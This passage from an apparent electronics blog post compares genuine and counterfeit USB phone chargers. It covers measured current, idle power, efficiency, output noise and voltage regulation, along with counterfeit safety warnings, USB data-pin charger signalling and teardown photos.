increases. Your phone will take longer to charge if the charger doesn't provide enough power. Finally, USB chargers are not all interchangeable; the wrong type of charger may not work with your device.[6] Counterfeits Counterfeit chargers pose a safety hazard as well as a hazard to your phone. You can buy a charger that looks just like an Apple charger for about $2, but the charger is nothing like an Apple charger internally. The power is extremely bad quality (as I will show below). But more importantly, these chargers ignore safety standards. Since chargers have hundreds of volts internally, there's a big risk if a charger doesn't have proper insulation. You're putting your phone, and more importantly yourself, at risk if you use one of these chargers. I did a teardown of a counterfeit charger, which shows the differences in detail. I've taken apart several counterfeit chargers and readers have sent me photos of others. Surprisingly, the counterfeit chargers I've examined all use different circuitry internally. If you get a counterfeit, it could be worse or better than what I've seen. How do you tell if a charger is counterfeit? The fakes are very similar; it's hard for me to tell, even after studying many chargers. There's a on how to distinguish real and fake chargers through subtle differences. You can also weigh the charger (if you have an accurate scale), and compare with the weights I give above. The easiest way to get a genuine Apple charger is fork over $29 to an Apple store. If you buy a $2 "Original Genuine Apple" charger on eBay shipped from China, I can guarantee it's counterfeit. On the other hand, I've succeeded in buying genuine used chargers from US resellers for a moderate price on eBay, but you're taking a chance. The following picture shows a counterfeit charger that burned up. The safety issues with counterfeits are not just theoretical; when hundreds of volts short out, the results can be spectacular. Photo by Anool Mahidharia. Used with permission Indicated charger type A device being charged can detect what type of charger is being used through specific voltages on the USB data pins.[6] Because of this, some devices only work with their own special chargers. For instance, an "incorrect" charger may be rejected by an iPhone 3GS or later with the message "Charging is not supported with this accessory".[7] There are many different charger types, but only a few are used in the chargers I examined. A USB charger that follows the standard is known as a "dedicated USB charger". However, some manufacturers (such as Apple, Sony, and HP) don't follow the USB standard but implement their own proprietary charger types. Apple has separate charger types for 1 amp (iPhone) and 2 amp (iPad) chargers. HP has a special type for the HP TouchPad. The point is that USB chargers are not interchangeable, and devices may not work if the charger type doesn't match what the device expects. The table below shows the type of charger, the current that the label claims the charger provides, the current it actually provides, and the charger type it indicates to the device. The types of the counterfeit chargers are a mess, as they advertise one power level, actually supply a different power level, and have the charger type for a third level. For example, the counterfeit iPhone charger is advertised as supplying 1 amp, but has the 2A charger type, so an iPad will expect 2 amps but not obtain enough power. On the other hand, the counterfeit iPad charger claims to supply 2 amps, but really only supplies 1 amp and has a 1A type. [TABLE=class: chargers] [TR] [TH][/TH] [TH]Charger type[/TH] [TH]Label[/TH] [TH]Measured current[/TH] [TH]Weight[/TH] [/TR] [TR] [TH=class: maker]Apple iPhone[/TH] [TD]Apple 1A charger[/TD] [TD]5V 1A[/TD] [TD]1.79A[/TD] [TD]23.0g[/TD] [/TR] [TR] [TH=class: maker]Samsung oblong[/TH] [TD]dedicated USB charger[/TD] [TD]5V 0.7A[/TD] [TD].80A[/TD] [TD]33.1g[/TD] [/TR] [TR] [TH=class: maker]Samsung cube[/TH] [TD]dedicated USB charger[/TD] [TD]5V 1A[/TD] [TD]1.17A[/TD] [TD]23.2g[/TD] [/TR] [TR] [TH=class: maker]Apple iPad[/TH] [TD]Apple 2A charger[/TD] [TD]5.1V 2.1A[/TD] [TD]2.3A[/TD] [TD]67.5g[/TD] [/TR] [TR] [TH=class: maker]HP TouchPad[/TH] [TD]HP TouchPad charger[/TD] [TD]5.3V 2.0A[/TD] [TD]2.4A[/TD] [TD]54.8g[/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPhone[/TH] [TD]Apple 2A charger[/TD] [TD]5V 1A[/TD] [TD].94A[/TD] [TD]18.8g[/TD] [/TR] [TR] [TH=class: maker]Monoprice[/TH] [TD]Apple dock[/TD] [TD]5V 1A[/TD] [TD]1.22A[/TD] [TD]67.8g[/TD] [/TR] [TR] [TH=class: maker]Counterfeit UK[/TH] [TD]dedicated USB charger[/TD] [TD]5V 1A[/TD] [TD].57A[/TD] [TD]29.4g[/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPad[/TH] [TD]Apple 1A charger[/TD] [TD]5.1V 2.1A[/TD] [TD]1.2A[/TD] [TD]43.4g[/TD] [/TR] [TR] [TH=class: maker]Belkin[/TH] [TD]Apple 1A charger[/TD] [TD]5V 1A[/TD] [TD]1.27A[/TD] [TD]43.0g[/TD] [/TR] [TR] [TH=class: maker]KMS[/TH] [TD]Apple 2A charger[/TD] [TD]5V 2.1A[/TD] [TD]3.4A[/TD] [TD]99.5g[/TD] [/TR] [TR] [TH=class: maker]Motorola[/TH] [TD]dedicated USB charger[/TD] [TD]5.1V .85A[/TD] [TD].82A[/TD] [TD]38.6g[/TD] [/TR] [/TABLE] Efficiency People often wonder how much power their charger is wasting while it's idle, and if they should unplug their charger when not in use. I measured this "vampire" power usage and found the chargers varied by more than a factor of 20 in their idle power usage. The Samsung oblong charger came in best, using just 19 mW; this was so low compared to the other chargers that I measured it again a different way to make sure I hadn't made an error. On the other extreme, the fake iPhone charger used 375 mW. The Apple iPhone charger performed surprisingly badly at 195 mW. If plugged in for a year, this would cost you about 21 cents in electricity, so it's probably not worth worrying about.[8] In the following table, I use the official charger Star Rating System (yes, there actually is such a thing).[9][10] I also measured efficiency of the chargers under load.[11] One of the benefits of switching power supplies over simpler linear supplies is they are much more efficient at converting the input power to output. The chargers I measured all did pretty well, with 63% to 80% efficiency. The HP charger was the winner here. [TABLE=class: chargers] [TR] [TH][/TH] [TH]Vampire[/TH] [TH]milliwatts[/TH] [TH]Efficiency[/TH] [TH]Percent[/TH] [/TR] [TR] [TH=class: maker]Apple iPhone[/TH] [TD][/TD] [TD]195[/TD] [TD][/TD] [TD]74[/TD] [/TR] [TR] [TH=class: maker]Samsung oblong[/TH] [TD][/TD] [TD]19[/TD] [TD][/TD] [TD]76[/TD] [/TR] [TR] [TH=class: maker]Samsung cube[/TH] [TD][/TD] [TD]86[/TD] [TD][/TD] [TD]77[/TD] [/TR] [TR] [TH=class: maker]Apple iPad[/TH] [TD][/TD] [TD]62[/TD] [TD][/TD] [TD]78[/TD] [/TR] [TR] [TH=class: maker]HP TouchPad[/TH] [TD][/TD] [TD]91[/TD] [TD][/TD] [TD]80[/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPhone[/TH] [TD][/TD] [TD]375[/TD] [TD][/TD] [TD]63[/TD] [/TR] [TR] [TH=class: maker]Monoprice[/TH] [TD][/TD] [TD]78[/TD] [TD][/TD] [TD]72[/TD] [/TR] [TR] [TH=class: maker]Counterfeit UK[/TH] [TD][/TD] [TD]103[/TD] [TD][/TD] [TD]63[/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPad[/TH] [TD][/TD] [TD]95[/TD] [TD][/TD] [TD]66[/TD] [/TR] [TR] [TH=class: maker]Belkin[/TH] [TD][/TD] [TD]234[/TD] [TD][/TD] [TD]66[/TD] [/TR] [TR] [TH=class: maker]KMS[/TH] [TD][/TD] [TD]179[/TD] [TD][/TD] [TD]69[/TD] [/TR] [TR] [TH=class: maker]Motorola[/TH] [TD][/TD] [TD]59[/TD] [TD][/TD] [TD]75[/TD] [/TR] [/TABLE] The chargers up close Apple iPhone and counterfeit The above photo shows a real iPhone charger (left) and a counterfeit (right); the two chargers are almost identical, down to the green dot. If you look closely, the genuine one says "Designed by Apple in California", while the counterfeit has the puzzling text "Designed by California". The counterfeit also removed the "Apple Japan" text below the plug. I've seen another counterfeit that says "Designed by Abble" (not Apple). I assume the word "Apple" is removed for legal or trademark reasons, since the word "Apple" is often (but not always) missing from counterfeits. Samsung oblong I call this charger the Samsung oblong charger, to distinguish it from the Samsung cube charger. Samsung cube The Samsung cube charger is shaped very similarly to the Apple iPhone charger. Internally, however, it turns out to be entirely different. Apple iPad and counterfeit The photo above shows a real iPad charger (left) and a counterfeit (right). The counterfeit has almost identical text, but without "Designed by Apple in California. Assembled in China", "Listed" under UL, and the manufacturer "Foxlink". Inexplicably this sanitization left "TM and © 2010 Apple Inc". The above photo shows a real iPad charger on the left and a fake iPad charger on the right, with the plug removed. The most visible difference is the real charger has a round metal grounding post, while the fake has plastic. (The US plug isn't grounded, but in other countries the lack of ground in the counterfeit could pose a safety hazard.) HP TouchPad The HP TouchPad charger has a very unusual cylindrical shape, which is striking if perhaps not practical. The charger twists apart, allowing the plug to be replaced for different countries. (It took me weeks to discover this feature.) Monoprice The Monoprice charger isn't a USB charger, but instead has a 30-pin iPhone dock connector attached. It is a relatively large charger. Counterfeit UK This charger is a counterfeit of the Apple UK iPhone charger. They've removed Apple from the text, but left Emerson Network Power, which I'm sure is not the actual manufacturer. The genuine Apple UK charger can be distinguished by a serial number inside the USB connector. Belkin The Belkin charger eschews the minimal design styling of most chargers, with a roughly oval cross section, curves and ribs, and a cover over the USB port. KMS The KMS charger is unusual in providing 4 USB ports. It also gives off a blue glow while in use. The plug can be removed and replaced for use in different countries, similar to the iPad and HP TouchPad chargers. I couldn't find any UL safety approval on this charger, but I did find a report of one catching fire. Motorola The Motorola charger has the lowest listed power output, 850mA. The back of it has a holographic sticker (like a credit card), which may ward off counterfeiters, even though it's unlikely for anyone to counterfeit this charger. I wonder though why Apple doesn't use holograms or other anti-counterfeiting techniques, given the large number of counterfeit Apple chargers being sold. Delivery of advertised power Each charger has an advertised power output, but some chargers produce considerably more and some produce much less. Your device will take longer to charge, if the charger can't put out enough power. This table shows each charger's ability to deliver the rated power, based on my measurements of maximum power. While most chargers meet or exceed the power rating, there are some exceptions. The counterfeit chargers perform extremely poorly, putting out a fraction of the expected power. Charging your device with one of these chargers will be a slow, frustrating experience. In particular, the counterfeit UK charger only produces a third of the expected power. Although the label claims the charger works on 100-240 volts, it's clearly not designed to work on US power. The iPad is a surprise, putting out less power than expected. Despite being nominally a 10 watt charger, the label says it provides 5.1V and 2.1A, which works out to 10.7 watts. However, the maximum power I measured is 10.1 watts (4.4 volts at 2.3 amps, as shown in the Power section below). Since the measured power is slightly less than advertised, it only gets four bolts. [TABLE=class: chargers] [TR] [TH][/TH] [TH]Rating[/TH] [TH]Label[/TH] [TH]Watts from label[/TH] [TH]Measured watts[/TH] [/TR] [TR] [TH=class: maker]Apple iPhone[/TH] [TD][/TD] [TD]5V 1A[/TD] [TD]5.0[/TD] [TD]6.0[/TD] [/TR] [TR] [TH=class: maker]Samsung oblong[/TH] [TD][/TD] [TD]5V 0.7A[/TD] [TD]3.5[/TD] [TD]4.0[/TD] [/TR] [TR] [TH=class: maker]Samsung cube[/TH] [TD][/TD] [TD]5V 1A[/TD] [TD]5.0[/TD] [TD]5.5[/TD] [/TR] [TR] [TH=class: maker]Apple iPad[/TH] [TD][/TD] [TD]5.1V 2.1A[/TD] [TD]10.7[/TD] [TD]10.1[/TD] [/TR] [TR] [TH=class: maker]HP TouchPad[/TH] [TD][/TD] [TD]5.3V 2.0A[/TD] [TD]10.6[/TD] [TD]11.4[/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPhone[/TH] [TD][/TD] [TD]5V 1A[/TD] [TD]5.0[/TD] [TD]2.7[/TD] [/TR] [TR] [TH=class: maker]Monoprice[/TH] [TD][/TD] [TD]5V 1A[/TD] [TD]5.0[/TD] [TD]5.7[/TD] [/TR] [TR] [TH=class: maker]Counterfeit UK[/TH] [TD][/TD] [TD]5V 1A[/TD] [TD]5.0[/TD] [TD]1.7[/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPad[/TH] [TD][/TD] [TD]5.1V 2.1A[/TD] [TD]10.7[/TD] [TD]5.9[/TD] [/TR] [TR] [TH=class: maker]Belkin[/TH] [TD][/TD] [TD]5V 1A[/TD] [TD]5.0[/TD] [TD]5.6[/TD] [/TR] [TR] [TH=class: maker]KMS[/TH] [TD][/TD] [TD]5V 2.1A[/TD] [TD]10.5[/TD] [TD]10.9[/TD] [/TR] [TR] [TH=class: maker]Motorola[/TH] [TD][/TD] [TD]5.1V .85A[/TD] [TD]4.3[/TD] [TD]4.3[/TD] [/TR] [/TABLE] Power quality In this section, I measure the quality of the power produced by the different chargers. I analyze it for voltage spikes, high frequency noise, and line-frequency ripple. The following table summarizes the results in three categories. Spikes indicates extremely brief large voltage spikes in the output, while Noise indicates high-frequency noise in the output, and Ripple indicates low-frequency (120 Hz) fluctuations in the output.[12] [TABLE=class: chargers] [TR] [TH][/TH] [TH]Spikes[/TH] [TH]Noise[/TH] [TH]Ripple[/TH] [/TR] [TR] [TH=class: maker]Apple iPhone[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Samsung oblong[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Samsung cube[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Apple iPad[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]HP TouchPad[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPhone[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Monoprice[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit UK[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPad[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Belkin[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]KMS[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Motorola[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [/TABLE] The following oscilloscope traces show the output signal (yellow) and frequency spectrum (orange). The left images provide high-frequency information on the output voltage. The right images show the low-frequency information on the output voltage.[13] The desired voltage graph is a flat, thin yellow line indicating totally smooth power. However, some factors mess this up. First, any ripple from the power line will show up as 5 sinusoidal peaks in the first (high-frequency) yellow line. High-frequency noise will widen the yellow line. Voltage spikes will appear as vertical spikes in the yellow line. The plots also show the frequency spectrum in orange, from 0 at the left to 230 kHz at the right. The desired graph would have the orange spectrum near the bottom of the screen. Thus, the power quality exponentially gets worse as the orange line gets higher. The left (high frequency) spectrum generally shows noise at the switching frequency of the charger (and harmonics). The right (low frequency) spectrum typically shows spikes at multiples of 120 Hz, caused by ripple from the 60 Hz power.[5] Apple iPhone The ripple is clearly visible as the waves in the yellow trace on the left and as the spikes (at 120 Hz and 240 Hz) in the orange trace on the right. The iPhone charger performs extremely well at filtering out spikes and noise, the best of the chargers I measured. Apart from the 120 Hz spikes, the noise spectrum (orange) is flat and very low. The power quality is so good, I checked the results several times to make sure I wasn't missing something. Samsung oblong The Samsung charger's output has a lot more noise than the iPhone charger. This is visible in the thickness and jaggedness of the yellow output curves. The orange frequency spectrum on the left shows large peaks at harmonics of the switching frequency. The 120 Hz spike on the right is a bit lower than the iPhone charger, so the ripple filtering is a bit better. Samsung cube The Samsung cube charger shows some noise in the output (yellow). The frequency spectrum shows wide peaks at multiples of the the switching frequency, about 90kHz. There's some ripple. Apple iPad The iPad charger almost eliminates the ripple; only a small blip is visible in the orange spectrum on the right. The noise level is low, although appreciably worse than the iPhone. HP TouchPad There's no ripple visible in the HP charger spectrum on the right. The overall noise level is good. Counterfeit iPhone The output from this counterfeit charger is a wall of noise. In order to fit the waveform in the display, I had to double the scale on the left and increase it by a factor of 5 on the right, so the yellow curve is actually much worse than it appears. On the left, note the huge ripple with massive high-frequency noise on top. This output is not something you want to feed into your phone. Monoprice The output from this charger is very noisy, as you can see from the thickness of the yellow line. Note that the frequency spectrum (left) has very tall but narrow spikes at harmonics of the 28kHz switching frequency, showing a lot of high-frequency noise. On the positive side, there is hardly any ripple. Counterfeit UK This charger has very bad output. The large degree of ripple is visible in the waveform (yellow, left) and the very large spikes in the spectrum (orange, right). The thickness of the yellow waveform shows the large amount of high-frequency noise, which is also visible in the very high peaks in the spectrum (orange, left). Counterfeit iPad This counterfeit charger has so much noise in the output that I had to double the scale on the left to get it to fit. Note the very large spikes in the output (yellow). The spectrum (orange, left) is much higher everywhere, indicating noise at all frequencies. Surprisingly, it has only a moderate amount of ripple; the manufacturer seems to have done at least one thing right. Belkin The Belkin charger does well at eliminating ripple, but has a lot of noise otherwise. The spectrum (orange, left) shows large peaks. The yellow output is wide, showing a lot of noise, combined with many large voltage spikes of about 1/3 volt. KMS The KMS charger has fairly good output, with a small peak in the spectrum (orange, left) at the switching frequency. It has no detectable ripple. However, it has many large voltage spikes in the output, over half a volt, as can be seen on the right. Motorola The Motorola charger has a lot of spikes in the output (yellow) . The spectrum (orange, left) shows high frequency noise at the switching frequencies. There's a moderate amount of ripple (yellow, left and orange, right). Summary The quality of the output power is radically different between chargers. The counterfeit chargers are uniformly bad, with hardly any effort at filtering the output. The other chargers vary in quality with the iPhone charger setting the standard for noise-free power, but surprisingly poor filtering of ripple. The power quality is a key factor that affects the performance of chargers; spikes and noise are known to interfere with touchscreens.[1] Power curve In this section I look at the voltage and current output by the charger as the load increases. The first rating is Voltage Sag, which is the undesired drop in output voltage as the load increases. The second rating is Current Sag, which shows how the current fluctuates as load increases. Finally, Regulation shows the overall stability of the output from the charger. [TABLE=class: chargers] [TR] [TH][/TH] [TH]Voltage sag[/TH] [TH]Current sag[/TH] [TH]Regulation[/TH] [/TR] [TR] [TH=class: maker]Apple iPhone[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Samsung oblong[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Samsung cube[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Apple iPad[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]HP TouchPad[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPhone[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Monoprice[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit UK[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPad[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Belkin[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]KMS[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Motorola[/TH] [TD][/TD] [TD][/TD] [TD][/TD] [/TR] [/TABLE] The graphs in this section need a bit of explanation, which is provided in the diagram below. The voltage/current load curve shows the performance of the charger under different loads. Each point on the curve shows the current (X axis) and voltage (Y axis) produced by the charger under a particular load condition. Follow the yellow curve clockwise from the upper left to the lower left to see the effect of increasing load. The upper left point of the curve shows the voltage produced by the charger when there is no load on the charger. As the load increases, the charger is supposed to keep a constant voltage and increase the current (i.e. horizontal line), until it reaches the maximum power (upper right). If the load continues increasing, the charger switches to a constant current mode, dropping the voltage while continuing to provide the maximum current (i.e. vertical line).[14] At the lower right, the charger has reached its shutdown point due to excessive load, and rapidly drops to no output in the lower left corner to avoid damage. [16] Apple iPhone The output from the Apple iPhone charger is surprisingly non-constant under load. The charger starts off with 5.2 volts with no load, dropping to 4.6 volts as the load increases, resulting in the downwards slope of the top yellow line. As the load increases, the current keeps increasing, resulting in the slope of the right yellow line. Note however that the yellow line is relatively thin, so the regulation is pretty good at each point. Note that because this charger has a high current output, this chart has a different current (horizontal) scale than most of the charts to fit the whole trace in the image. Stretch it horizontally to compare with other graphs. Samsung oblong For this charger, the voltage is approximately flat, except for a bump under no load (upper left) which is probably a measurement artifact. The vertical yellow line shows the current stays nearly constant as the load increases. The charger shows good voltage and current stability under changing load. The yellow line is a bit wider than the iPhone charger, showing a bit less regulation for a fixed load. Samsung cube The voltage curve sags slightly under load. The right hand curve shows the current stays stable, but the line is moderately wide, showing a bit of weakness in regulation. Apple iPad Similar to the iPhone charger, the iPad charger shows a lot of voltage sag. The voltage is about 5.1 V unloaded, dropping to 4.4 volts and 2.3 A (10.1 W) at the corner. Unlike the iPhone charger, the iPad charger has pretty good current stability. The regulation is solid, as shown by the narrowness of the yellow trace. Note the scale change due to the high current output. I'm puzzled by the steep voltage sag on both the iPhone and iPad charger. Since the designers of the Apple charger went to a great deal of effort to build a high quality charger, I conclude they must not consider voltage sag worth worrying about. Or, more interestingly, maybe they built this sag as a feature for some reason. In any case, the chargers lose points on this. HP TouchPad The charger has some voltage sag, but the current (vertical) is nice and constant. The yellow line is relatively thin, showing good regulation. Note the scale change due to the high current output. Counterfeit iPhone This counterfeit charger shows extremely poor regulation, as shown by the very wide yellow line. It's hard to fit a voltage-current curve to this picture. The amount of power supplied by this charger seems almost random. Monoprice The Monoprice charger shows reasonably straight voltage and current lines showing good constant voltage and current outputs. The vertical line shows some width and noise, suggesting the regulation isn't totally stable. Counterfeit UK For this charger, the upper line doesn't get very far, showing that this charger doesn't output much current. My suspicion is that it was only tested with 240 volts so it performs poorly with 120 volts, even though the label says it takes 100 to 240 volts. The width of the yellow line shows very poor regulation. Counterfeit iPad The output of this counterfeit charger is so poorly regulated that it's hard to tell exactly what's happening with the voltage and current. It looks like the voltage is roughly constant underneath all the noise. Belkin The Belkin charger shows voltage sag as the current increases. In addition, the output is fairly noisy. KMS The KMS charger shows a lot of voltage sag as the load increases. In addition, the output is all over the place, showing very poor regulation, more like what I'd expect from a counterfeit charger. Note the scale change due to the high current output. Motorola The Motorola charger shows a bit of voltage sag, but good current stability. The regulation is good but not perfect, as shown by the width of the yellow line. (The gaps in the vertical line are just measurement artifacts.) Note that the maximum current output of this charger is fairly low (as advertised). Conclusions So what charger should you spend your hard-earned money on? First, make sure the charger will work with your phone - for instance, newer iPhones only work with certain chargers. Second, don't buy a counterfeit charger; the price is great, but it's not worth risking your expensive device or your safety. Beyond that, it's your decision on how much quality is worth versus price, and I hope the data here helps you make a decision. P.S. How about some teardowns? My previous iPhone charger and fake charger teardowns were surprisingly popular, but if you were hoping for teardowns on the full set of chargers, you'll need to wait for a future blog post. I haven't torn the chargers apart yet; if I need to take more measurements, I don't want to have just a pile of parts. But I do have some preview pictures to hold you over until my teardown article. The above picture shows the internals of a counterfeit Apple iPhone cube charger. The two boards stack to form the compact cube shape. This charger blatantly tries to pass as a genuine Apple charger; unlike the "Designed by California" charger, this one exactly copies the "Designed by Apple in California" text from the real charger. Note the very simple circuitry[4] - there are no components on the other side of the board, no controller IC, and very little filtering. Also look at the terrible mounting of the transistor on the front right; clearly the build quality of this charger is poor. Finally, note the overall lack of insulation; this charger wouldn't meet UL safety standards and could easily short out. But on the plus side, this charger only cost a couple dollars. The above $2 charger is notable for its low-profile design; it's about as thin as you can make a charger and still fit the power prongs and the USB port. The transformer is very short to fit into this charger. Like the previous charger, it uses a very simple circuit,[4] has little filtering, and almost no safety insulation. Finally, the above pictures show the internals of the Samsung cube charger, which has circuit boards packed with tiny components and is much more advanced than the counterfeits (although slightly less complex than the Apple charger). Despite being very similar to the Apple charger on the outside, the Samsung charger uses an entirely different design and circuitry internally. One interesting design feature is the filter capacitors fit through the cut-out holes in the secondary circuit board, allowing the large filter capacitors to fit in the charger. More comments on this article are at Hacker News and reddit. Thanks for visiting! Notes and references [1] For an explanation of how the noisy output from cheap chargers messes up touchscreens, see Noise Wars: Projected Capacitance Strikes Back. [2] The charger selection may seem slightly eccentric; it is based on chargers I had previously acquired, chargers I could obtain at a reasonable price, chargers supplied by Gary F. and Anthony H. (thanks, guys!), and some counterfeit chargers for comparison. [3] TI has an interesting new design for a 10 watt inch-cube charger. With this design a tablet charger could be as small as the iPhone charger. Photo of PMP8286 10W cube charger used with permission from Texas Instruments. [4] The cheap chargers all use a "ringing choke converter" circuit, which coincidentally is the same power supply topology used by the Apple II. These chargers use an extremely simple feedback mechanism in place of the control IC in higher-quality chargers. See a comic-book explanation or a technical explanation for details. [5] Since the input AC has a frequency of 60 Hertz, you might wonder why the ripple in the output is 120 Hertz. The diode bridge converts the 60 Hz AC input to 120 Hz pulsed DC, as shown in the diagram below. The pulses are smoothed out with filter capacitors before being fed into the switching circuit, but if the filtering isn't sufficient the output may show some 120 Hz ripple. Image by WdWd, used under CC BY 3.0 [6] The chargers use specific voltages on the data pins to indicate the charger type to the device being charged. Because of this, an "incorrect" charger may be rejected by an iPhone with the message "Charging is not supported with this accessory".[7] Under the USB standard, a charger should short the two data pins together to indicate that it's a "dedicated" charger and not a real USB device. However, companies such as Apple, HP, and Sony have their own proprietary nonstandard techniques. The following table summarizes the voltages that appear on the D+ and D- lines for different chargers, and how the D+ and D- lines are configured internally. [TABLE=class: chargers] [TR] [TH]Charger type[/TH] [TH]D+ voltage[/TH] [TH]D- voltage[/TH] [TH]D+/D- shorted[/TH] [TH]D+ pullup (k?)[/TH] [TH]D+ pulldown (k?)[/TH] [TH]D- pullup (k?)[/TH] [TH]D- pulldown (k?)[/TH] [/TR] [TR] [TD]dedicated USB[/TD] [TD]float[/TD] [TD]float[/TD] [TD]yes[/TD] [TD]none[/TD] [TD]none[/TD] [TD]none[/TD] [TD]none[/TD] [/TR] [TR] [TD]Apple .5A[/TD] [TD]2[/TD] [TD]2[/TD] [TD]no[/TD] [TD]75[/TD] [TD]49.9[/TD] [TD]75[/TD] [TD]49.9[/TD] [/TR] [TR] [TD]Apple 1A[/TD] [TD]2[/TD] [TD]2.7[/TD] [TD]no[/TD] [TD]75[/TD] [TD]49.9[/TD] [TD]43.2[/TD] [TD]49.9[/TD] [/TR] [TR] [TD]Apple 2A[/TD] [TD]2.7[/TD] [TD]2[/TD] [TD]no[/TD] [TD]43.2[/TD] [TD]49.9[/TD] [TD]75[/TD] [TD]49.9[/TD] [/TR] [TR] [TD]HP TouchPad 2A[/TD] [TD]2.8[/TD] [TD]2.7[/TD] [TD]yes[/TD] [TD]250[/TD] [TD]300[/TD] [TD]n/a[/TD] [TD]n/a[/TD] [/TR] [TR] [TD]Sony[/TD] [TD]3.3[/TD] [TD]3.3[/TD] [TD]no[/TD] [TD]5.1[/TD] [TD]10[/TD] [TD]5.1[/TD] [TD]10[/TD] [/TR] [/TABLE] Most of this data is based on Maxim USB Battery Charger Detectors, Adafruit's The mysteries of Apple device charging, TouchPad's USB Cable, XDA forum (Samsung), and TPS2511 USB Dedicated Charging Port Controller and Current Limiting Power Switch datasheet. The Apple 2A (i.e. iPad) information is a new result from my measurements. For details on USB charging protocols, see my references in my earlier posting. Amusingly, semiconductor manufacturers have recently introduced chips that allow chargers to sequentially pretend to be different proprietary chargers until they trick the device into accepting the charger. It seems crazy that companies (such as Apple) design incompatible chargers, and then chip companies invent schemes to work around these incompatibilities in order to build universally compatible chargers. Two example chips are the TI TPS 2511 chip, and SMSC's USC1001 controller, which pretends to be nine different charger types. [7] If you've wondered why some chargers cause the iPhone to give a "Charging not supported with this accessory" error, Silicon based annoyance reduction made easy describes how devices use proprietary protocols to limit the chargers they will work with. [8] For the efficiency analysis I use 12 cents / kilowatt-hour as a typical residential energy price, which I got from US Energy Information Administration table 5.3. [9] The official no-load charger star ratings are discussed at Meeting 30 mW standby in mobile phone chargers. [10] There are many standards for energy consumption; see 5 W Cellular Phone CCCV (Constant Current Constant Voltage) AC-DC Adapter. For Energy Star ratings, a 5W charger must have under .5W no-load consumption, and 63% efficiency under load. A 10W charger must have under .75W no-load consumption, and 70% efficiency. [11] Because switching power supplies use power in irregular waveforms, I used a complex setup to measure power consumption. I measured the AC input voltage and current with an oscilloscope. The oscilloscope's math functions multiplied the voltage and current at each instant to compute the instantaneous power, and then computed the average power over time. For safety and to avoid vaporizing the oscilloscope I used an isolation transformer. My measurements are fairly close to Apple's[15], which is reassuring. You might wonder why I didn't just use a Kill A Watt power monitor, which performs the same instantaneous voltage * current process internally. Unfortunately it doesn't have the resolution for the small power consumptions I'm measuring: it reports 0.3W for the Apple iPhone charger, and 0.0W for many of the others. Ironically, after computing these detailed power measurements, I simply measured the input current with a multimeter, multiplied by 115 volts, and got almost exactly the same results for vampire power. [12] The spike, noise, and ripple measurements come from the oscilloscope traces. The Spikes measurement is based on the maximum peak-to-peak voltage on the high frequency trace (the low frequency trace yields almost identical results). The Noise measurement is based on the RMS voltage on the high-frequency trace, and Ripple is based on the maximum dB measured in the low-frequency spectrum. These measurements appear on the right in the traces. [13] In the power quality section, the high-frequency (left) images show 40 milliseconds of the waveform in yellow, and the frequency spectrum up to 234 kHz in orange. The low-frequency (right) images show 1 second of the output voltage in yellow and the frequency spectrum up to 600 Hz in orange. Because the frequency spectrum is measured in dBm, it is logarithmic; every division higher indicates 20 dB which is 10 times the voltage and 100 times the power. [14] The chargers use a design called constant-voltage, constant-current (CVCC), since they provide a constant voltage (and increasing current) up to the maximum load and then a constant current (and decreasing voltage) if the load continues to increase. [15] The Apple 3GS Environmental Report gives some efficiency measurements for the Apple USB Power Adapter. It lists 0.23W no-load power and 75% efficiency. These values are reasonably close to my measurements of 0.195W no-load consumption and 73.6% efficiency. [16] Measuring these curves was a bit tricky. I used a NTE2382 power MOSFET transistor as a variable load, manually varying the gate bias to generate the load curve. The transistor needed a large heat sink to dissipate 10 watts. A more complex dynamic load circuit is described here, but the simple circuit was sufficient for me. The graphs were generated using the X-Y mode on the oscilloscope, with the load voltage as Y and the current as X. I used a .12? current sense resistor to measure the load current. This works out to 1/6 amp load current per division for the 20mV/div traces (most of them), and 5/12 amp load current per division for the 50mV/div traces (the high-current devices). Note that increasing load corresponds to a decreasing resistance across the output: the upper left has infinite resistance (no load), the lower left has zero resistance (short circuit), and the resistance decreases in between. Since the power (in watts) is voltage * current, the maximum power is in the upper right corner, approximately 4W in this case. The load resistance can be computed by Ohm's law, e.g. middle of the upper curve: 5 V / .4 A = 12.5?, upper right corner 5 V / .8 A = 6.25 ohms. Middle of the right hand curve: 2.5 V 